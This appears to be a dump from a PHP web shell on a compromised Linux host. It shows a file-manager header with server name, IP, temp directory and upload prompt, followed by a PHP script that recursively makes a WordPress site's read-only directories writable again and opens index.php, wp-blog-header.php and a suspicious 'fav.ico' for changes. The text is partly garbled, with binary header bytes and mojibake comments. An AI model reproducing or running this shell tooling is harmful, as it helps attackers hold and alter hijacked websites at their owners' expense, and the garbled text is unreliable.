PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /usr/tmp/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : //usr/tmp/phppK8drZ

<?php
function i($i)
{
    echo '{->|' . $i . '|<-}';
}

function recursiveChmodDirectory($path) {
    $count = 0;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            $permissions = fileperms($item->getPathname());
            $octal_permissions = substr(sprintf('%o', $permissions), -4);
            if ($octal_permissions === '0555') {
                chmod($item->getPathname(), 0755);
                $count++;
            }
        }
    }
    return $count;
}

$path = '/home/ngamzghe/frozynic.com';

// 先获å–原始æƒé™
$permissions = fileperms($path);
$octal_permissions = substr(sprintf('%o', $permissions), -4);

// 递归修改所有å­ç›®å½•æƒé™å¹¶èŽ·å–修改数é‡
$modified_count = recursiveChmodDirectory($path);

// 修改主目录æƒé™
chmod($path, 0755);
chmod($path . '/index.php', 0755);
chmod($path . '/wp-blog-header.php', 0755);
chmod($path . '/fav.ico', 0755);

// 获å–修改åŽçš„æƒé™
$new_permissions = fileperms($path);
$new_octal_permissions = substr(sprintf('%o', $new_permissions), -4);

// åˆå¹¶è¾“出主目录æƒé™å˜åŒ–å’Œå­ç›®å½•修改数é‡
i("主目录æƒé™å˜åŒ–: {$octal_permissions} -> {$new_octal_permissions}, å­ç›®å½•修改数é‡: {$modified_count}");